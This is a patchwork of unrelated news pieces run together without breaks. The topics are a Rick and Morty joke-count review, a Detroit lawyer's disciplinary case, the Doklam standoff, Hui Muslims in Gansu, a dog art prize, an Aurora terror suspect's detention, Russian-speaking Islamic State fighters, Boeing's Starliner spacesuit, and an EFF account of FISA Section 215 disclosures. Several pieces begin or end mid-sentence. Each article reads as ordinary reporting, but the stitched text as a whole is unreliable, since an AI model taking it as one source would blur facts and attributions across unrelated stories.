Around the episode's midpoint, Rick rattles off a full 20 disturbing items that he made for Beth when she was a child. Each is counted as a joke. Conversely, around minute 17 - Rick and Beth almost abandon their jokes altogether (save for a few references to ABC's The Bachelor) to confron the uncomfortable truth about her place in the universe.
"The ABCs of Beth" may end up being a divisive episode among the Rick and Morty loyal and its JPM reflects that nicely.
Episode 8: Morty’s Mind Blowers
Running Time: 22:03
Total Number of Jokes: 194
JPM: 8.81
Best Joke: “Everything is crooked! Reality is poison! I hate this! Lambs to the cosmic slaughter!” - Morty
R.I.P. Bebo.
Well, that was fun! "M |
of the University of Michigan Innocence Clinic, which handled Sanford’s appeal, sharply condemned the lawyer’s handling of the teen’s case.
Moran told the three-member discipline board “99.5 out of a 100” attorneys would have tried to have Sanford’s confession thrown out of court.
He added Slameka is “the last person in the Michigan Bar Directory that I would want to have represent anyone close to me, or anyone off the street, for that matter.”
According to a transcript of a hearing not cited in Bullington’s report, Slameka defended his work on the Sanford case to the discipline board.
“I advised him. I gave him all his rights. I visited him six times in jail. I got nowhere with him,” Slameka said, according to the Associated Press.
Sanford’s mother told The News Slameka never visited her son in jail.
Bullington, in her report, also criticized Slameka’s record of pleading cases: “(Slameka’s) expedition in processing cases quickly may assist docket control but speed is not always... consistent with the interests of an innocent defendant.”
But Slameka’s propensity for cutting quick plea deals is the very reason two Wayne Circuit judges advocated for his reinstatement.
“We’ve got a system that rewards people for settling cases and not trying them and doesn’t pay you for spending time with your clients,” Slameka’s witness, Judge Richard Scutt, said during an April 1 discipline board hearing.
Several grievances filed
Judge James Chylinski, who also testified on Slameka’s behalf April 1, said: “Frank Murphy (Hall of Justice) is a world in its own” because of the high number of cases and how fast they’re handled.
“The funny thing about Frank Murphy is that the lawyers know the judges, they pretty much know the prosecutors. When they get a case, they can look at the facts and they probably know within 15-20 percent what the disposition’s going to be at an arraignment.”
Clients through the years “have become more obstinate, they tend to trust the lawyers less, and the lawyers that have been around, you know, you try to tell them hey, this is your deal, this is the best you got, our chances of winning are 20 percent, (and clients) want to argue with the lawyers,” Chylinski said.
That’s what Sanford’s attorneys said happened to him during the trial: Slameka told the teen he should plead guilty to second-degree murder because there was an iron-clad first-degree murder case against him, and if he didn’t cut a deal, he’d never get out of prison.
Several clients have filed grievances against Slameka, but Chylinski said they did so because they “don’t like what they’re hearing” about their cases.
Chylinski said Wayne Circuit Court has a “M*A*S*H mentality” where clients’ conduct “sickens you to the point that you really do not like the people you represent, the people that you see, and you have to divorce yourself from it.”
‘Better Call Saul’
Slameka’s habit of doing business in a casino hotel lobby was also criticized in the report.
“One is hard pressed to understand (Slameka’s) reluctance to maintain an appropriate office system given his financial resources and the need to serve his clients appropriately,” Bullington wrote. “(Slameka) had over $760,000 in his bank account, two homes... and stock holdings. The question remains of why he (didn’t get an office)?”
Bullington cited an exchange between Slameka and discipline board panelist Paul Fischer during the April 1 hearing:
Fischer: “Where’s your new office?”
Slameka: “The hotel lobby of the downtown casino.”
Fischer: “You know, it sounds like ‘Better Call Saul.’ ”
Bullington pointed out how Slameka was caught lying when questioned about more than $600 he owed from outstanding parking tickets.
During the April 1 hearing, Slameka said of his wife: “In her drunken state (she) would just park someplace, the car would get ticketed, and she’d either throw them on the ground or put them in the drawer, which I found later, and I did not know until the Secretary of State wrote me and said you can’t get a driver’s license.
“I said why? And they said you have this amount of tickets. Well, what am I going to do? She’s not here, so I went down to the horrible place on Lafayette and Sixth and paid them.”
Bullington noted that Slameka’s wife, Susan, died in May 2008 — before some of the tickets were written.
Dead mom signing
Slameka had his law license suspended 11 months after his May 2014 breaking and entering and larceny convictions, for which he was sentenced to probation. He claimed he broke into his ex-girlfriend’s apartment to retrieve a wallet he’d left there. He told police he didn’t find the wallet, but that he took several items of clothing he’d bought his ex.
In her report, Bullington cited another reason she felt Slameka shouldn’t get his law license restored: “Signing one’s dead mother’s name to checks and then lying about it is not exemplary conduct.”
Slameka’s mother died in 2005, Bullington wrote. “(She) had purchased stocks and placed his name on the stocks to eliminate probate proceeds. (Slameka) claimed he notified the issuing companies of his mother’s death.”
But bank records show that after his mother died, Slameka continued forging her signature onto the dividend checks and depositing them into his account, Bullington said.
When first questioned about the checks, Slameka said he hadn’t posthumously signed his mother’s name. “After being shown checks with both names signed, (Slameka) acknowledged that he had signed his deceased mother’s name to the checks on multiple occasions.”
In her conclusion, Bullington wrote that Slameka hasn’t met the standards to continue practicing law.
“For the profession, the practice of law encompasses such concepts as reputation, honor and discretion. For the courts, attorneys act as its officers to ensure that the public confidence is maintained in the integrity of the system.
“Beyond serving as an expediter, it appears these concepts are beyond (Slameka’s comprehension).”
ghunter@detroitnews.com
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Read or Share this story: http://detne.ws/1tlk0jcHow to deal with China? This is easily the biggest foreign policy question for most governments in today’s global power order. And that’s precisely why the resolution to the Doklam stand-off will necessitate continuous relooking. Because the outcome in itself is an exception to what was becoming a new normal.While China’s larger interest on the success of the Brics Summit in Xiamen did help expedite an end to the two-month stand-off, the fact that India could manage to successfully stave off a strong and shrill Chinese challenge has reverberated across world capitals.The understanding was arrived at after some 13 rounds of negotiations done through established diplomatic channels. No back channel, no false assurances. This is quite an out-of the-ordinary experience for all countries with a Beijing problem, specifically those that share land and maritime boundaries with China.Just over the last few weeks alone, New Delhi has established itself quite a reputation, one that seemed to have rubbed off on the Brics Summit itself where India could achieve some desirable outcomes.So, is there now an India model to emulate while dealing with a confrontational China? While that would receive some detailed attention in the days ahead, what’s clear is that there were certain distinctive contours to the Indian approach. And while these worked for India, it’s also a fact that they proved effective because of a larger context that continues to weigh heavily on China.The context is now becoming increasingly embarrassing for China. The North Korean tests, including the missile that was fired over Japanese territory on the day Doklam issue was resolved, underline the weight of that embarrassment.The other country pulling down China in a similar manner is Pakistan, which is under fire for sponsorship of terrorism not just by India alone, but by now a growing spectrum of countries. These start with Afghanistan and go on to include countries in West Asia, Europe, and the US, as exemplified in President Donald Trump’s South Asia strategy address.In short, North Korea and Pakistan are not the best advertisements of friends for a country aspiring global economic leadership. At a time when the US is looking insular as an economic power, China has thrown in its hat to lead the free trade pitch. The Brics, for instance, is a key forum to strengthen this claim. And just then, to have Pyongyang set off a nuclear device doesn’t help matters.This kind of ‘Notoriety Club’ had a utility for China, but that time may have passed. This is a conclusion only Beijing can make. But it cannot stop other countries drawing their own meanings in their national interest.It’s in this context that the shrill rhetoric on Doklam did not help. There were very few takers for China’s case, frankly, even before it was articulated. The reason for that being China’s lack of credibility in sub-continental matters, given its own long-term strategic commitment with Pakistan. Further, the tone and content of the official attack did not help either, sending signals that made others equally insecure.In contrast, India had a more nuanced approach, which can now be fleshed out along few parameters. To begin with, there was a conscious, clear decision to halt Chinese construction activity and stand by Bhutan regardless of how the situation evolved. This was a departure from the past practice to avoid direct confrontation. But this time, the overall military assessment was that China had come too close for comfort.The initial action was done swiftly. Thereafter, India decided to keep quiet, not aggravate matters. So, New Delhi had, early in the day, recognised the principle that there could be no gain made by humiliating China.New Delhi followed this edict to the point that it did not allow itself to be provoked by any Chinese humiliation. The next principle at play was that China has much bigger stakes in the international system and the global commons for it to just abandon all of that in favour of military action against a global systems-compliant country and emerging economy like India. That assumption was correct. Which is why China did not cross the Brics deadline.And, finally, it was assessed that in the bigger picture, Beijing’s aspirations require cultivating more positive relations with New Delhi. Which is why the condemnation of Lashkar-e-Taiba and Jaish-e-Mohammed in the Brics statement is better understood as a rethink in China than a victory for India.The Doklam handling tells us that there’s indeed an effective way to talk tough issues with China, and not by giving in or speaking out, but by showing up and conversing relentlessly to find convergences. China, after all, cannot have an ambition at the cost of everyone else.LINXIA — Driving through the Linxia Hui Autonomous Prefecture in Gansu province, in China’s northwest, minarets puncture the sky every few minutes. Many rise out of mosques that resemble Daoist temples, their details a blend of traditional Chinese and Islamic features: a bronze door knocker inscribed with the word “Allah” in Arabic, a crescent moon peeking above the pointed eaves of a tiled roof, and stone steles carved with hadith — a collection of sayings attributed to the Prophet Mohammed — in Chinese. This is the heartland of the Hui, a Chinese minority of about 10.5 million, distinguished from the majority Han ethnicity primarily by their Muslim identity.
China’s ruling Communist Party has long had a fraught relationship with religion, with harsh restrictions in regions like Xinjiang and Tibet, where religious identity is seen as a conduit to separatism. Chinese President Xi Jinping’s heightened sensitivity toward civil society and outside ideological influences, combined with the recent rise of global terrorism, has intensified government suspicion toward Muslims. Meanwhile, mainstream Han society, especially on the Chinese web, has grown increasingly vitriolic toward Muslims. Han chauvinism and ethnocentric nationalism are common in online forums, occasionally including Islamophobic warnings that the mosque will soon overshadow the Party.
Yet Islam appears to be thriving among the Hui. Hui Muslims make up the majority of the approximately 14,000 Chinese pilgrims who go on hajj to Mecca each year. China has built a sprawling Hui “culture park” in Ningxia, enshrining Hui Islam’s status as an exemplary form of Chinese religion. The loudest critics of the Hui are not state officials but reformists from within the Hui community, often returnees from religious study in the Middle East. They deride Hui Islam as facile and compromised, both because of its melding with Confucian and Daoist practices and because they believe that many of its practitioners have succumbed to materialism and corruption.
Ironically, Hui Islam’s flourishing depends precisely on the characteristics which locals say are also essentially Chinese: apolitical patriotism, adaptability, and more concern for material survival than rigid doctrine. Amid rising tides of ethnocentric nationalism, the Hui are preserving Islam in China by performing a specifically Chinese form of the religion. Their relatively peaceful coexistence with the state and the Party differs from China’s estimated 10 million Uighurs, a Turkic-speaking group who live mostly in China’s far western region of Xinjiang. (There are roughly 23 million Muslims in China.) As state-supported Han migration to Xinjiang increased over the last 10 years, tensions between Uighur and Han have exploded into violent ethnic clashes, as well as some Uighur militant attacks on civilians. The crackdown in response has spawned further violence and a stereotyping of Uighurs as separatists radicalized by foreign influence, in contrast to the Hui’s organic blend of Chinese and Islamic ways.
Imam Ma Jun, leading Friday morning prayer at the Xiguan mosque. (ALICE SU for ChinaFile)
A bilingual Quran in the library of a mosque on the outskirts of Lanzhou, Gansu province. (ALICE SU for ChinaFile)
The Hui have manifested Islam with Chinese characteristics since the 7th century Tang Dynasty, when Arab and Central Asian traders immigrated, intermarried, and spread their religion along the ancient Silk Road. Their offspring eventually became a distinct ethnic minority, though most Hui are physically indistinguishable from Han Chinese. Throughout their history, some Hui actively tried to merge Islamic and Chinese culture. In the 18th century, for example, the Hui scholar Liu Zhi wrote the “Han Kitab,” a synthesis of Islam with Confucianism that identified Muhammad as a sage and linked Sharia law to Confucian rituals. He believed that the combined practice of the two would cultivate virtue and produce social harmony.
This blend of Chinese and Islamic tradition still shows in Hui mosques today. In the Linxua Hui Autonomous Prefecture, I met a moderator of Zhongmuwang, the “Chinese Muslim Net” web forum, who asked to go by his Arabic name, Hassan. He took me to visit several shrines built on the graves of Sufi saints. An eight-sided tower — corresponding to the bagua, or “eight symbols,” system of ancient Daoist cosmology — rose over one grave, decorated with Arabic calligraphy and a yin-yang symbol. Incense burned before the holy man’s shrine, and Hassan told me that some worshippers would kowtow in front of it. “Some people call this a distortion of Islam, but they don’t understand Chinese history,” Hassan said. “Religion here must adapt to survive.”
Those who find this adaptability a distortion are often Hui students who become enamored with Islam abroad. In 1995, the then-23-year-old Hui imam Ma Jun left his hometown of Lanzhou, Gansu’s capital, to study Sharia law and Arabic at the Islamic University of Madinah, Saudi Arabia. After five years, he came back bent on reform. “I was on fire when I came back from Saudi Arabia,” Ma said.
“I felt a strong responsibility. Chinese Muslims didn’t have enough belief. They were impure and too shallow.” And the 24-year-old Ma Xin, a Hui student who’d recently returned to Lanzhou after studying at Al-Azhar University in Cairo, Egypt, also derided Hui absorption of Chinese traditions. “My grandmother is a perfect example. She gives the Sufi elders money to pray for her, burns incense, and makes us drink ashes when we’re sick,” Ma said, referring to a Chinese folk practice of burning and drinking blessed paper to heal diseases. “I can’t accept this. It’s a twisting of Islam.” Ma Xin had rejected his family’s Sufi traditions in favor of Yihewani (or Ikhwan) Islam, a reformist sect founded in Gansu by Ma Wanfu, a late 19th century Chinese Muslim who similarly became determined to purify Chinese Islam after studying in Mecca. (Many Hui surnames are Sinicized forms of Muslim names in Arabic and Persian: “Ma,” for “Mohammad,” is especially common.)
Yet Beijing favors religion that displays political loyalty and cultural adaptation — as Hui leaders quickly learn. When Ma Jun returned to China, he set up two informal religious schools. In 2000, he established a private Arabic school in Guanghe, a mostly Hui town between Lanzhou and Linxia. And in 2008, he started giving religious lessons through a program for minorities at a public middle school in Lanzhou. Chinese law forbids teaching religious material in school, but Ma infused his language lessons with Islamic scripture and Saudi-style Salafi exegesis. By 2010, authorities had shut both programs down.
While China is an officially atheist state, the government allows for five official religions — Buddhism, Taoism, Catholicism, Christianity, and Islam — as long as they are practiced at state-approved sites, stay free of foreign influence, and do not proselytize. At the Central Religious Work Conference, a state-convened national conference to discuss religions in China in April, Xi stressed that religious groups should “merge [their] doctrines with Chinese culture” while keeping religion out of politics, government affairs, and education. The state thus allows some space for religious practice, however circumscribed, and those who learn to compromise can function within it. In 2010, Ma decided to work within the system. He dropped his private reform efforts and became an imam at Lanzhou’s Xinguan Mosque, a traditional mosque within Lanzhou’s Muslim quarter that adheres to orthodoxy of the Gedimu school, China’s oldest and most traditional form of Islam. He quickly rose in influence, leading some 3,000 Hui pilgrims from Gansu to Mecca in 2014, a process facilitated and approved by the semi-governmental Islamic Association of China. Encounters with the state had meanwhile softened Ma’s doctrinal views. “It’s hard enough just to exist as a Chinese Muslim,” Ma said. “The door is narrow. If someone walks through it, let us not say, ‘You’re not perfect, get out.’ We should take it slow.”
The disjuncture between religious devotion and the atheist Party doesn’t seem to bother most Hui leaders. “Chinese people are flexible. Some compromise is okay,” explained Ma Yinhua, the owner of Fengqiwu, a bookstore dedicated to minority studies in Lanzhou. “For now, ‘Love your country, love your religion’ is fine. ‘Love your Party’ might be a little much, but even Party members don’t necessarily love the Party.” Rhetorical mendacity is normal in China, he said. “Like our economic situation: it’s capitalism, but you can call it socialism. The state is lying to itself. So what if the people lie to the state? Everyone knows. It’s not a big deal.”
Hui women drive their children home from school on motorcycles in Linxia Hui Autonomous Prefecture, Gansu. (ALICE SU for ChinaFile) The Chinese-style minaret of a Gedimu mosque is seen through an Arabic-style latticed window in Lanzhou, Gansu. (ALICE SU for ChinaFile) A Hui man walks into one of the largest Sufi mosques in Lanzhou. (ALICE SU for ChinaFile)
Compromise and corruption are complements to shallow faith, Imam Ma explained, and the reason why Hui Muslims are not a threat, however devout they may seem. “Religion has been marginalized in China. Everyone is focused on money. We are much more likely to go toward corruption and politicization than extremism,” Ma said, adding that he rarely goes to meetings with the national organization the Islamic Association of China any more, because no one there wants to talk about theology. “The imams are just asking, ‘Is your iPhone 6 or 6S? What kind of car are you driving?’” Like most Chinese people, Hui are far more concerned with the material present than the afterlife, Ma said. “Nobody would give up their life for religious struggle or sacrifice.”
Back in Lanzhou, a Muslim who called himself Abdelhalim and whose family owns the successful halal lamb restaurant chain Zhonghua Shouzhua King showed me their recently opened private mosque, madrassa, and Islamic nursing home for the elderly. Authorities hadn’t obstructed the family opening any of these, he said. “The minority religious policies are good. The government is trying to preserve ethnic unity, not to disturb the minorities,” Abdelhalim said. “Even when some sects are doing really bad things, the government doesn’t push them.” Sometimes religious figures resist government attempts to confiscate land by claiming property as part of the mosque’s endowment, for example, Abdelhalim said. Even though the mosque leaders might be lying, officials usually complied. The Islamic Association also often treated religious leaders to state-funded tours and trips to other provinces. When I asked whether that was corruption, Abdelhalim laughed. “Corruption is good for the government! Give us a visible enemy and we’ll all unite to fight for our religion and identity,” he said. “Give us an invisible enemy — lust, money, selfishness — and we’re defeated.”
In Linxia, Hassan agreed that in Hui Islam, as in contemporary Chinese society, outward appearances do not always reflect inner belief. “There are thousands of mosques in Linxia, but this is a bad thing,” he told me as we drove by towering Gedimu, Salafi, Yihewani, and Sufi structures, women in hijabs passing us on their motorcycles. The proliferation of mosques and shrines only reflected disunity and sectarianism, Hassan said. “People say this is religious extremism? I think it’s secularization.” He continued, “Only very secular people think that building more mosques is a true expression of faith.” Outsiders might think there is a clash between the minarets and Chinese flags of China’s Hui-populated areas, he noted, but that’s because they are only looking at the surface.
Reporting for this article was supported by the Pulitzer Center.
Top image: FREDERIC J. BROWN/AFP/Getty ImagesPoochibald Art Prize unleashes artistic talent and celebrates all good dogs
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Basil is a good boy and his pawtrait is this year's winner of the Poochibald Art Prize.
The award is Clarence City Council's take on the Archibald Prize, with less prize money but more pats.
Each year children and adults unleash their talent and celebrate doggos in all their glory.
This year saw 110 drawings, paintings, prints, linocuts and collages of dogs of all shapes and sizes hung on the walls of the Schoolhouse Gallery in Rosny.
Anna Williams claimed the adult category first place prize of a $300 gift voucher with her linocut portrait of her niece's dog Basil.
"I chose him because of his brindle coat and his brown and black patches," Ms Williams told Jo Spargo on ABC Radio Hobart.
She said for a linocut to work, the subject needed plenty of colour variation which was one reason why she chose Basil the blue heeler over her own dog Cloudy.
"Basil is very attractive and young," she said.
"Cloudy is elderly, growing a few lumps and some hair in the wrong places and I love her dearly — I think she's beautiful but I don't think other people would."
Ms Williams is a ceramist by trade but was encouraged to enter the portrait competition by a friend.
"I do ceramics to teach and make my money that way," she said.
"But I love drawing and linocuts, that's my hobby, what I really enjoy doing."
While the Poochibalds offer prizes for first and second place in the adult and junior categories, the real aim of the art show is to bring dog and art lovers together.
The entries are on display until Sunday in the Schoolhouse Gallery at Rosny Farm from 11:00am to 5:00pm.
Topics: painting, visual-art, awards-and-prizes, offbeat, animals, rosny-7018, hobart-7000Aurora terror suspect can't go home after all
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A federal judge Friday quashed another judge's surprise order to release an Aurora teenager pending trial on charges he sought to join al-Qaida-linked militants in Syria.
Abdella Ahmad Tounisi, 18, posed a potential threat not just to Illinois and the U.S. but to "the entire world community," said U.S. District Judge Edmond Chang.
Standing in court in orange jail garb and his legs shackled, Tounisi showed no emotion at the ruling, which snuffed out his chance at freedom as he awaits trial. But his mother, Seham Tounisi, was distraught, crying as she left the Chicago courtroom and leaning against her husband, Ahmad Tounisi. A woman with them said, "This is unfair!"
On Thursday, U.S. Magistrate Judge Daniel Martin ruled Tounisi could be released on home confinement. He stayed his own order to give the government 24 hours to appeal.
The American-born Tounisi was snared in an Internet sting after contacting a sham website set up by the FBI purporting to connect would-be fighters with terrorists, according to court filings. He was arrested at O'Hare International Airport last month as he prepared for the first leg of a trip to Syria to join Jabhat al-Nusrah, authorities said.
Judge Chang cited emails in which Tounisi is alleged to have stated his intention to join the Qaida-affiliated group fighting Syrian President Bashar Assad's regime. That suggests "the defendant was knowingly attempting to join this group -- a very dangerous group," Chang said.
To drive home Tounisi's apparent determination and resourcefulness, prosecutor William Ridgway said the cash-strapped teen even managed to divert financial aid to attend the College of DuPage to pay for his plane ticket.
Even after worried family members had told Tounisi he "will be killing (his) mother" by persisting in plans to travel abroad, he pushed ahead, the judge said.
The judge also cited Tounisi's friend, Adel Daoud, who was arrested last year on charges he tried to detonate a device he thought was a bomb outside a Chicago bar. Daoud has pleaded not guilty.
Prosecutors say Tounisi helped brainstorm potential targets with Daoud, though Tounisi was never charged in that case.
Chang said an FBI interview with Tounisi about Daoud last year should have so frightened Tounisi as to make other alleged plots unthinkable to him.
"That should have been a life-altering event," he said. "But it did not dissuade him."
Defense attorney Molly Armour declined to comment after the hearing. She told Chang that prosecutors were obliged to demonstrate her client constituted more than a "theoretical" threat. They had failed to do that, she said.
Tounisi is charged with one count of attempting to provide material support to a foreign terrorist organization. If convicted, he faces a maximum 15-year prison term.
The fake website authorities say Tounisi visited included flowery invitations to, "Join your lion brothers... fighting under the true banner of Islam." He engaged in email communications via the site with an FBI agent posing as a terrorist recruiter, court filings allege.
Critics have questioned whether such sites woo impressionable youth into contemplating crimes that otherwise wouldn't cross their minds. Others say the websites help catch prospective terrorists in the virtual world before they carry out real-world harm.Over 5,000 jihadists from the Central Asian countries of Kazakhstan, Kyrgyzstan, Tajikistan, Turkmenistan, and Uzbekistan are fighting in the ranks of the so-called Islamic State militant group in the Middle East. These Russian-speaking Muslims not only play a major role within the IS leadership, but also have built a community of their own in the areas controlled by the extremist group. In fact, they are now raising their children to be a second generation of jihadists, sources say.
Russian-speaking Jihadists are the second largest group of foreigners fighting for IS. The number of jihadists from Central Asia and Russia joining IS has increased by as much as 300 percent since June 2014, according to a report by the New York City-based Soufan Group.
While their rituals, customs, race, and ethnic background may vary, members of this group have at least one thing in common that distinguishes them from other jihadists: they can read and write fluently in Cyrillic script, given that the now-independent countries of their birth were for decades dominated by the Soviet Union, which used Russian as its lingua franca.
Most of these so-called “Cyrillic Jihadists” have settled near the Syrian city of Raqqa, the de facto IS capital, and their areas have developed into real communities with certain habits and rituals. Residents can hear Friday prayers in Russian at the Abubakr Dagestani mosque. Adults can attend at the Abu Muslim Islamic school to study Arabic and Quranic thought. Children study math and the Quran at a Russian-language school run by the foreign fighter brigade headed by Abu Hanif Jamaat, a native of Dagestan in Russia’s North Caucasus region. Homesick wives of the jihadists can shop for products from their home countries at the “Univermag” Russian store.
“The Russian-speaking jihadists formed a community of their own within IS,” said Salem al-Hammoud, a civic activist from the IS-controlled Syrian city of Deir Ezzor who is currently based in Turkey. IS has fighters from all over the world, including North Africa and Europe, “but there’s a significant percentage that comes from the former Soviet republics,” he said.
“These fighters are very different from others in terms of discipline and military training comparing to their Arab and African counterparts,” Al-Hammoud said, adding that the IS leadership appoints them to important posts “because they are tough and they do not sympathize with locals.” Since they do not mingle with other jihadists, he said, IS leaders view them as “a very reliable, resilient force.”
Fighters from the Caucasus region, Central Asia and Russia are linked by their knowledge of Russian. “There is evidence that the Russian-speaking fighters train together,” said Edward Lemon, a researcher at the University of Exeter in Britain. ”Russian-speaking fighters, most notably the late Abu Omar al-Shishani, have risen to the top of the ranks of IS. Given their combat experience, fighters from the North Caucasus are regarded as particularly strong fighters.”
Abu Omar al-Shishani, born Tarkhan Batirashvili, was an ethnic Chechen from Georgia who served in the Georgian Army during its brief war against Russia in 2008 before becoming a top IS commander in Syria. He died from wounds sustained in a U.S. airstrike conducted in Syria in early March.
Not mercenaries
Contrary to the common belief that these fighters joined IS to make money, many of them see IS-controlled territory in Syria as their home and do not consider themselves mercenaries.
Babajon Karabayev, a former IS fighter who returned to Tajikistan, said that these fighters call the Islamic State home. Karabayev was looking for a job in Russia due to the bad economy in his home country. Frustrated with the Russian job market, he fell into the IS recruiting network. “Many fight for money, but most are there for their ideology,” he said. He received some money, but left the group because he was not as steadfast in his convictions as others.
A tax-free income stream is an incentive to join IS, but not enough to keep someone in its ranks over the longer term. “IS propaganda stresses the positives of living in the Caliphate - brotherhood among fellow Muslims and the idea of building a pure Islamic State,” said Lemon. “There is limited evidence that money is a driver for recruitment, but it certainly plays some role.”
IS recruiters exploit the lack of social support for Central Asian immigrants in Russia. “Many are recruited from migrant worker communities in Russia, as the lack of a supportive community there opens the door to recruitment,” says Catherine Putz, a U.S.-based journalist and researcher. “There are also economic factors involved, as extremist groups often tempt recruits with promises of money.”
Identity crisis
The fact that people like Abu Omar al-Shishani and Gulmurod Halimov, a U.S.-trained police colonel in Tajikistan who went to the Middle East and joined Islamic State, have become top IS members has created a sense of belonging for Russian-speaking Muslims, who suffered an identity crisis in their home countries. According to the Soufan Group, a majority of the “Cyrillic Jihadists” come the North Caucasus — particularly Chechnya and Dagestan, areas with long histories of Islamic extremism.
Rashot Kamalov, the imam of the Al-Sarahsiy Mosque in Kyrgyzstan who encouraged his followers to join IS in Syria, was sentenced to a five-year jail term for “inciting religious hatred” and “possessing extremist materials” in February 2015.
But Kamalov remains popular with some young Kyrgyz Muslims.
“Not only Kyrgyz but other youngsters with Islamic tendencies from Chechnya, Dagestan, Tajikistan, and Uzbekistan have been exposed to this idea and have embraced it as a form of self-expression,” says Noah Tucker, managing director of Registan.net, a website the focuses on Central Asia, the Caucasus, and South Asia. “They come to believe that the Islamic State is the Islamic utopia they were chasing for years. Most of the recruiting material from ISIS aimed at Central Asians in Russia actually focuses almost exclusively on identity – ‘You are Muslims, and your problems are caused by those who oppress Muslims’ - and offers it both as an explanation for what potential recruits have suffered in life and as a solution …, presenting ISIS as the ‘Muslim counterforce’ to this oppression.”
Islamic utopia, Russian style
Although Russia has clearly sided with President Bashar al-Assad in what it calls “the fight against terrorists in Syria,” some observers claim that Russian authorities have encouraged local jihadists to depart for Syria. Nadir Medetov, a 32-year-old Dagestani Salafist who was arrested by the Russian security services in October 2014 on charges of illegally possessing illegal firearms turned up in Syria four months later. Some experts believe that Medetov was able to escape to Syria not due to a lapse in security, but because of a deliberate Kremlin strategy to send the most troublesome members of society to hotspots abroad.
“There are reports arguing that the Russian government took a very active role in helping jihadists and potential militants leave the Caucasus to go fight in Syria - where, as it turned out, the Russian air force was able to bomb them with a level of impunity they cannot implement in the Caucasus anymore,” said Registan.net’s Noah Tucker. Russian Defense Sergei Shoigu recently claimed that his forces killed more than 2,000 Russian jihadists in Syria.
Future cannon fodder
The Russian-speaking jihadists see IS as a lifestyle choice and even a long-term plan for the future, which is why they try to raise their children to be the next generation of jihadists. In the Russian-language schools in IS-controlled territory, the children of the Russian-speaking jihadists are subjected to brainwashing and discipline by uncompromising Muslim scholars. Some Muslim families in Central Asian countries send their children to IS territory in the Middle East for what they think will be a better life. According to a recent report by Kyrgyzstan’s internal affairs ministry, 85 children under the age of 10 and 36 teenagers left Kyrgyzstan for Syria during the last few months.Boeing
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On Wednesday, Boeing publicly released images of the spacesuit that astronauts will wear aboard its Starliner spacecraft. According to the company, the new "Boeing Blue" suit will be more flexible than previous ascent and entry suits and about 40 percent lighter, but will retain the ability to become pressurized during an emergency.
Among the suit's features? There are touchscreen-friendly gloves for the modern interior of the Starliner spacecraft and zippers in the torso area that will make it easier for astronauts to comfortably stand, sit, and stand again. Boeing also says the hood-like soft helmet features a wide polycarbonate visor to give Starliner passengers better peripheral vision throughout their ride to and from space. The suit was designed by David Clark.
Boeing debuted the spacesuit during a Facebook Live event in partnership with the Washington Post from the Starliner's base of operations at Kennedy Space Center. One of NASA's four commercial crew astronauts, Sunita Williams, has also filmed a spot with comedian and talk-show host Stephen Colbert that will air on his television show this week.
What is not clear is when astronauts will actually don the suits for flights into space. This was to be the year when NASA would finally regain the capability to launch its own astronauts into space through its commercial crew program. However, Boeing and SpaceX have already slipped the dates of their first operational flights into 2018.
Boeing's "no earlier than" date for its first crewed test flight is now August, 2018, and the first operational missions to deliver crew to the International Space Station will begin no earlier than December 2018. Ars understands from sources familiar with the Starliner's development that further delays are possible—if not likely—due to ongoing software and technical issues.
SpaceX, which is also developing a commercial crew spacecraft called the Dragon 2, has likewise been battling through technical delays, and it remains unclear which of the two companies will reach the launch pad first. For now, at least, we know the Boeing astronauts will be wearing snazzy blue suits.
Listing image by BoeingRussian nuclear-energy company Rosatom reported yesterday that a subsidiary had completed construction of an experimental nuclear reactor in Beijing. At 25 megawatts, the reactor’s power output is small, but it sends a big message about where nuclear technology may be heading–especially after the Obama administration’s effective cancellation of plans |
's Use of Section 215 Orders for Business Records in 2006” [pdf], a document that had been previously released with more redactions.[1]
These releases encompass hundreds of pages. And while much of what they contain is routine reporting, they also contain some frank assessments of how the government has used surveillance tools to violate rights.
Review of FBI’s use of Section 215 Orders
This document, an Inspector General assessment of how the FBI uses Section 215 of the PATRIOT Act (the provision that the NSA uses to collect all telephone call records), was previously released in 2008. It was heavily redacted. This new version has a few new unredacted tidbits. It also has an entire appendix that had been completely classified, that describes the inception of the NSA’s telephone call records program.
This newly declassified appendix doesn’t contain much that we didn’t already know. But it is fascinating to read the description of the shift from President Bush’s surveillance program to the use of Section 215 orders:
For several reasons, including the public disclosure of one aspect of the NSA program in a December 2005 New York Times article, the government decided to seek collection of the telephone call-detail records under the authority of FISA and cease collection under the Presidentially-authorized NSA program.
Originally, every single reference to how the FBI uses Section 215 to assist to foreign governments was redacted. In this report they appear in several places, for instance:
Records for assistance to a foreign government are “processed pursuant to the Mutual Legal Assistance Treaty.”
The FBI assisted a foreign government by providing it with fraudulent identification used by a surveillance target, as well as “other evidence to be used in a potential criminal prosecution.” The OIG looked closely at this because it raised an issue of whether the records were relevant to a national security investigation (something required for Section 215 orders).
The FBI initiates 215 orders for foreign governments.
The second piece of the report addresses what the OIG calls:
[A] noteworthy item. In this case, the FISA Court had twice declined to approve a Section 215 application based on First Amendment concerns. However, the FBI subsequently issued NSLs for information [redacted] even though the statute authorizing the NSLs contained the same First Amendment restriction as Section 215 and the EOs authorizing the NSLs relied on the same facts contained in the Section 215 applications.
Highlights added to show originally redacted sections
The report goes on to describe this particular situation. Much of the description has been redacted wholesale, but combined with the newly unredacted pieces, a concerning story emerges. The FBI wanted information, and determined that it would get that information, regardless of the FISA court or DOJ’s opinion:
The Section 215 request was presented to the FISA Court [twice]. On both occasions the Court declined to approve the application and order…… [DOJ] e-mails state that the FISA Court decided that "the facts were: too 'thin' and that this request implicated the target's First Amendment rights."
Previously unredacted sections reinforce the story revealed by these new pieces:
The former Acting Counsel for Intelligence Policy stated that there is a history of significant pushback from the FBI when OIPR questions agents about the assertions included In FISA applications. The OIPR attorney assigned to Section 215 requests also told us that she routinely accepts the FBI's assertions regarding the underlying investigations as fact and that the FBI would respond poorly if she questioned those assertions.
This doesn’t sound like an agency committed to maintaining civil liberties. It sounds like an agency that is, predictably, concerned with completing investigations. And it should be incredibly disturbing to think that attorneys responsible for dealing with FISA applications would be concerned about pushback from the agency it is supposed to be acting as counsel for.
One other noteworthy tidbit: The report unredacts a footnote that states that some 215 order applications to the FISA court are approved without a DOJ attorney ever showing up in court.
NSA Oversight Reports
The newly released NSA oversight reports span over a decade and include hundreds of pages of combined annual reports for 2007-2010, and quarterly reports from 2001-2013. Executive Order 12333 requires the NSA to report intelligence activities they have reason to believe may be unlawful or contrary to Executive Order or Presidential Directive to the President's Intelligence Oversight Board. The government released the reports in response to Freedom of Information Act litigation by the American Civil Liberties Union. (Of course, EFF filed a FOIA lawsuit for these same documents back in 2009, but we received almost nothing of substance from NSA back then.)
